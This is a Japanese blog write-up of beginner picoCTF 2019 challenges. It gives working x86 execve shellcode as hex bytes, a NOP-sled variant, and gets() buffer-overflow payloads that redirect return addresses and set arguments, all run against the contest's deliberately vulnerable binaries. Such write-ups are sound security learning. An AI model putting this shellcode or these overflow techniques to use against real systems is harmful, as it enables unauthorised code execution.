最近はプログラム書いてばかりだったので、他のことに挑戦してみたくなってCTFやってみることにしました。
スペック
- 5年以上モバイルアプリエンジニア(Android, iOS, Flutter)やってる
- 昔一瞬だけCTFに手を出したことはある(セッションハイジャックとかSQLインジェクションとかの超初級のやつのみ)
- 興味があるのはPwnable系の問題
- 一応計算機の動作原理とかは昔大学でやった
- 機械語の知識は、大学時代に学研の4bitマイコンの命令をハンドアセンブラしてたときとかに身に着けたつもり
CTFとは
フラッグと呼ばれる文字列を入手する、セキュリティ系の競技です。
セキュリティ系ですので、当然一筋縄では入手できません。基本的にはプログラムの脆弱性を突いてフラッグを入手します。
ファイルの中に隠してあったり、DBの中に隠してあったりと、とにかく簡単には手に入らないような場所にフラッグがあります。
Pwnableとは
Exploitationとも呼ばれる、プログラムの脆弱性を突くことが要求されるジャンルです。
正直ここにしか興味がないので、CTFの他のジャンルはよく知りません。
picoCTFとは
常設のCTFサービスで、基本的には中高生向けのコンテストです。
難易度もそんなに高くないらしいので、入門としてこれの2019年のコンテスト過去問に挑戦してみることにしました。
Write up
handy-shellcode
問題
This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_6_f0b84e12a8162d64291fd16755d233eb on the shell server. Source.
シェルコードとやらを打ち込めば動くらしいです。
問題のプログラムはソースコードが公開されています。
主要部分だけ抜粋。
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
char型配列 buf
のポインタを関数ポインタとみなしてコールしています。
ということは、 buf
に適切な機械語を打ち込んでやれば、同じディレクトリに置かれている flag.txt
の内容を見ることができるということでしょう。
シェルコードってなんぞ
シェルコード(英: Shellcode)とは、コンピュータセキュリティにおいて、ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。
ということは、先程の buf
にシェル(/bin/sh
)を呼び出すコードを打ち込んでやれば良いようです。
たしかにシェルを奪取できれば、その権限内ならなんでもできちゃいますものね。
方針
今回の環境はx86アーキテクチャのLinuxです。なのでx86用にシェルコードを組んでやればよろしい、はず。
実行中のプログラムから別のプログラムを呼び出すには、 execve
システムコールを呼び出せば良いようです。
また、アセンブラでシステムコールを呼び出すには、int 0x80
(オペコードの int
はinterrupt,割り込み命令。オペランドの0x80はシステムコールを指す)を呼べば良いそうです。
どんなシステムコールが呼び出されるのかはレジスタの状態に依存するらしく、 eax
レジスタには 0x0b
を入れておけば良いとか色々あります。
具体的には以下の条件でうまくいきました。
- レジスタの状態を特定のものにしておく
-
eax
は0x0b
(11がexecveに対応する) -
ebx
は文字列"/bin/sh"
が格納されているアドレス -
ecx
は0x0
-
edx
は0x0
-
-
int
命令をオペランド0x80
で呼び出す
シェルコードの実装と使用
上記の状態になるようにハンドアセンブルしても良いのかもしれませんが、面倒なのでアセンブリで書いて出てきた機械語を使うことにしました。
まずコードを書きます。
.global main
main:
xorl %ecx, %ecx # 同じ値でxorを取ると0になる。mov 0, (対象レジスタ) よりもよく使われる初期化の方法らしい?のでそれにあやかる
xorl %edx, %edx # こちらも初期化
movl $11, %eax # システムコール種別は 11 (0x0b) = execve
push $0x0068732f # "/sh" と終端null文字のリトルエンディアン表記
push $0x6e69622f # "/bin" のリトルエンディアン表記
movl %esp, %ebx # pushでスタックに積んだ文字列の先頭アドレスがespに入っているので、ebxに移す
int $0x80 # システムコール呼び出し
コンパイル
$ as shell.s
内容を見ます
$ objdump -D a.out
(前略)
0000000000000000 <main>:
0: 31 c9 xor %ecx,%ecx
2: 31 d2 xor %edx,%edx
4: b8 0b 00 00 00 mov $0xb,%eax
9: 68 2f 73 68 00 pushq $0x68732f
e: 68 2f 62 69 6e pushq $0x6e69622f
13: 89 e3 mov %esp,%ebx
15: cd 80 int $0x80
よさそう。
16進の数値部分だけ取り出して、echoで打ち込めるようにします。
$ (echo -e "\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; cat) | ./vuln
何も起こらない…?
と見せかけて、プロンプトの記号が出ていないだけでシェルは動いています。
cat flag.txt
フラッグ入手! やった!
今回の参考文献
OverFlow 1
問題
You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_5_c76a107db1438c97f349f6b2d98fd6f8 on the shell server. Source.
バッファオーバーフローでどうにかする系のようです。
攻撃対象のプログラムのソースがあるので見てみます。主要部分だけ抜粋。
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
printf("Woah, were jumping to 0x%x !\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Give me a string and lets see what happens: ");
vuln();
return 0;
}
存在はすれどもどこからも呼ばれていない関数 flag
を呼び出せばゴールのようです。
(普通は呼ばれていない関数があれば最適化で消される気がしますが、これは競技なので残されているでしょう、という前提で行きます)
バッファオーバーフロー攻撃とは
情報セキュリティ/サイバーセキュリティにおいてバッファオーバーフロー攻撃は、バッファオーバーフローの脆弱性を利用した攻撃である。
とのことです。
今回は vuln
関数内、 gets
に脆弱性があります。
getsの脆弱性
もっぱらモバイルアプリばかり書いてきた私でも、この脆弱性は知っています。
こちらもWikipediaにある通り、
gets には入力される文字列の長さを制限する機能が存在しない。
そのため、取得文字列を入れておく領域が小さいとバッファを溢れ出し、バッファの後続のメモリ領域も上書きして破壊してしまいます。
これを利用するわけですね。
方針
まず適当に vuln
を実行してみます。
$ ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x8048705 !
get_return_address()
が指している、元々の vuln
関数のリターン先が出てきました。
それではバッファサイズを超えるような入力をしてみましょう。
バッファサイズの64バイト分は小文字のaで埋めて、あとは適当な文字を入れて何でリターン先が上書きされるか見ます。
$ ./vuln
Give me a string and lets see what happens:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCDEFGHIJKLMNOPQRSTUVWXYZ
Woah, were jumping to 0x504f4e4d !
Segmentation fault (core dumped)
変なアドレスを踏んでSegmentation faultを起こしています。
リターン先は 0x504f4e4d
なので、おそらく入力値の MNOP
(ASCIIコードで 4d4e4f50
、x86はリトルエンディアンなので逆順になっている)で上書きされたものと推測できます。
これで、64バイト + 12バイト(A〜Lで12文字だったため)の後に flag()
のオフセットを入れてやれば良いことがわかりました。
flag関数のオフセット調査
問題文からプログラムを入手できるので、objdumpで見てみます。
$ objdump -D vuln
(前略)
080485e6 <flag>:
(後略)
0x080485e6
であることがわかります。
攻撃
aを64+12個並べてバッファを詰めて、flag関数のオフセットリトルエンディアン表記にして、実際に突っ込みます。
$ $ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08"; cat) | ./vuln
やった、フラッグゲット!!
今回の参考文献
- http://www3.nit.ac.jp/~tamura/ex2/ascii.html
- https://security.nekotricolor.com/entry/pwnable-tw-start-write-up
slippery-shellcode
問題
This program is a little bit more tricky. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/slippery-shellcode_2_4061c12f5a4a9d8c1c3f45b25fbcb09a on the shell server. Source.
今度の問題は少々トリッキーだそうです。
ソースを見るとこんな感じでした。主要部分だけ抜粋。
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
puts("Thanks! Executing from a random location now...");
int offset = (rand() % 256) + 1;
((void (*)())(buf+offset))();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
handy-shellcodeのときとほとんど同じですが、コールされるアドレスがランダムな offset
分ずれるようです。
方針
動き得るオフセットのサイズは最大で256byte。
ということは、シェルコードを詰められるバッファの先頭256byteを、他に影響のない適当なコードで埋めてしまえば、オフセットがどれだけずれても良さそうです。
幸い、 nop
という、何もしないオペコードが存在します。
シェルコードの実装と攻撃
前半256byteは nop
(0x90
)で埋めてしまって、その後にシェルに入るコードを付け足して
シェルに入る部分はhandy-shellcodeのものをそのまま使いまわします。
$ (echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; cat) | ./vuln
あとは cat flag.txt
を叩けばフラグゲット!
今回の参考文献
OverFlow 2
問題
Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_3_051820c27c2e8c060021c0b9705ae446 on the shell server. Source.
オーバーフローしたあとの引数が問題になるようです。基礎から学べていい感じ。
ソースコードの抜粋は以下。
#define BUFSIZE 176
#define FLAGSIZE 64
void flag(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xC0DED00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
前回のOverflow1と同じく、存在はしていてもどこからも呼ばれていない flag()
を呼び出せばゴール。
ただし引数が2つあって、第一引数を 0xDEADBEEF
、第二引数を 0xC0DED00D
にする必要があるとのこと。
方針
今回は get_return_address()
が無いので、メモリ上のどこにリターンアドレスが入っているのかを事前に確認して、その上でメモリ上のどこに引数を詰めればよいか考えます。
まずはgdbでリターンアドレスを確認。
$ gdb vuln
(gdb) b *vuln
(gdb) r
(gdb) n
1234
1234
0x0804871c in main ()
通常時、戻り先は 0x0804871
になっているようです。
どれだけバッファを溢れさせるとここが変わるのか見てみます。
$ gdb vuln
(gdb) b *vuln
(gdb) r
(gdb) n
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCDEFGHIJKLMNOPQRSTUVWXYZ
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCDEFGHIJKLMNOPQRSTUVWXYZ
0x504f4e4d in ?? ()
前回の問題と同じく MNOP
の値にリターンアドレスが変わっています。
バッファサイズ(176byte)+12byteを埋めて、その後に flag()
のアドレスを入れれば、まず flag()
には辿り着けそうです。
$ objdump -D vuln
(前略)
(後略)
0x080485e6
に飛ばせば良いようです。
とりあえずgdbでflagに飛んだところまで見てみます。
$ (echo -e "b *flag\nr\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08"; cat) | gdb vuln
(中略)
Breakpoint 1, 0x080485e6 in flag ()
来ました。
試しにこのままc
でコンティニューすると、gdbの権限(現在ログイン中のユーザーの権限)でflag.txtを読みに行きエラーを起こします。
実際の攻撃コードはgdbを使わずに流さないといけないようです。
引数の格納場所
イマイチ詳しいことは知らないのですが、関数呼び出しというのは、関数の先頭アドレスの後に引数を積んでおくことで実現しているとどこかで読んだことがあります。
具体的にどこのアドレスを引数としているのかdisasで見てみます。
Dump of assembler code for function flag:
=> 0x080485e6 <+0>: push %ebp
0x080485e7 <+1>: mov %esp,%ebp
0x080485e9 <+3>: push %ebx
0x080485ea <+4>: sub $0x54,%esp
0x080485ed <+7>: call 0x8048520 <__x86.get_pc_thunk.bx>
0x080485f2 <+12>: add $0x1a0e,%ebx
0x080485f8 <+18>: sub $0x8,%esp
0x080485fb <+21>: lea -0x1850(%ebx),%eax
0x08048601 <+27>: push %eax
0x08048602 <+28>: lea -0x184e(%ebx),%eax
0x08048608 <+34>: push %eax
0x08048609 <+35>: call 0x80484a0 <fopen@plt>
0x0804860e <+40>: add $0x10,%esp
0x08048611 <+43>: mov %eax,-0xc(%ebp)
0x08048614 <+46>: cmpl $0x0,-0xc(%ebp)
0x08048618 <+50>: jne 0x8048636 <flag+80>
0x0804861a <+52>: sub $0xc,%esp
0x0804861d <+55>: lea -0x1844(%ebx),%eax
0x08048623 <+61>: push %eax
0x08048624 <+62>: call 0x8048460 <puts@plt>
0x08048629 <+67>: add $0x10,%esp
0x0804862c <+70>: sub $0xc,%esp
0x0804862f <+73>: push $0x0
0x08048631 <+75>: call 0x8048470 <exit@plt>
0x08048636 <+80>: sub $0x4,%esp
0x08048639 <+83>: pushl -0xc(%ebp)
0x0804863c <+86>: push $0x40
0x0804863e <+88>: lea -0x4c(%ebp),%eax
0x08048641 <+91>: push %eax
0x08048642 <+92>: call 0x8048440 <fgets@plt>
0x08048647 <+97>: add $0x10,%esp
0x0804864a <+100>: cmpl $0xdeadbeef,0x8(%ebp)
0x08048651 <+107>: jne 0x804866d <flag+135>
0x08048653 <+109>: cmpl $0xc0ded00d,0xc(%ebp)
0x0804865a <+116>: jne 0x8048670 <flag+138>
長いですが、まず注目すべきは以下の二行でしょうか。
Cのソースで見覚えのある定数との比較をしている箇所です。
おそらくここがif文の条件式に対応しているのでしょう。
0x0804864a <+100>: cmpl $0xdeadbeef,0x8(%ebp)
0x08048653 <+109>: cmpl $0xc0ded00d,0xc(%ebp)
ebp
レジスタから0x8バイト先の箇所が arg1
、0xc(12)バイト先の箇所が arg2
のようです。
ebp
の値は、以下の行で設定されている様子。
0x080485e7 <+1>: mov %esp,%ebp
esp
がスタックポインタ(flag()
の先頭アドレスが入っている箇所)なので、攻撃コードの後に4バイト(flag()
の先頭アドレス自体が4バイトなので、残り4バイトを詰める必要がある)のパディングを置いて、その後に引数に入れたい値を置けば良さそうです。
攻撃コードの実装
先ほど作った文字列の後に、引数を置いていきます。
$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08aaaa\xef\xbe\xad\xde\x0d\xd0\xde\xc0"; cat) | ./vuln
やった、できた!
asm1
今度はReversing系の問題にも挑戦してみます。
問題
What does asm1(0x1f3) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm1_2_4ced82d316c06cd3a46ba3bda9f6c144.
asm
という関数に 0x1f3
とい引数を渡したときに何が返るか、という問題です。 asmのソースコードはダウンロードできます。
asm1:
<+0>: push ebp
<+1>: mov ebp,esp
<+3>: cmp DWORD PTR [ebp+0x8],0x767
<+10>: jg 0x512 <asm1+37>
<+12>: cmp DWORD PTR [ebp+0x8],0x1f3
<+19>: jne 0x50a <asm1+29>
<+21>: mov eax,DWORD PTR [ebp+0x8]
<+24>: add eax,0xb
<+27>: jmp 0x529 <asm1+60>
<+29>: mov eax,DWORD PTR [ebp+0x8]
<+32>: sub eax,0xb
<+35>: jmp 0x529 <asm1+60>
<+37>: cmp DWORD PTR [ebp+0x8],0xcde
<+44>: jne 0x523 <asm1+54>
<+46>: mov eax,DWORD PTR [ebp+0x8]
<+49>: sub eax,0xb
<+52>: jmp 0x529 <asm1+60>
<+54>: mov eax,DWORD PTR [ebp+0x8]
<+57>: add eax,0xb
<+60>: pop ebp
<+61>: ret
環境はx86なので、x86のアセンブリとして読んでいきます。
方針と計算
+0
で ebp
の内容をスタックに退避してから eps
すなわち関数の先頭アドレス ebp
に移し、その後 DWORD PTR [ebp+0x8]
で何度も参照されている値があります。
おそらくこれが引数でしょう。
後は各命令を見ながらなんとなくCっぽく訳して行きます。
int asm1(int arg) {
if (arg > 0x767) goto l37;
if (arg != 0x1f3) goto l29;
int a = arg + 0xb;
return a;
l29:
int b = arg - 0xb;
return b;
l37:
if (arg != 0xcde) goto l54;
int c = arg - 0xb;
return c;
l54:
int d = arg + 0xb;
return d;
}
引数は 0x1f3
なので、コードパスは変数 a
が登場するパスを通るはず。
あとは 0x1f3 + 0xb
を解けばできあがり!!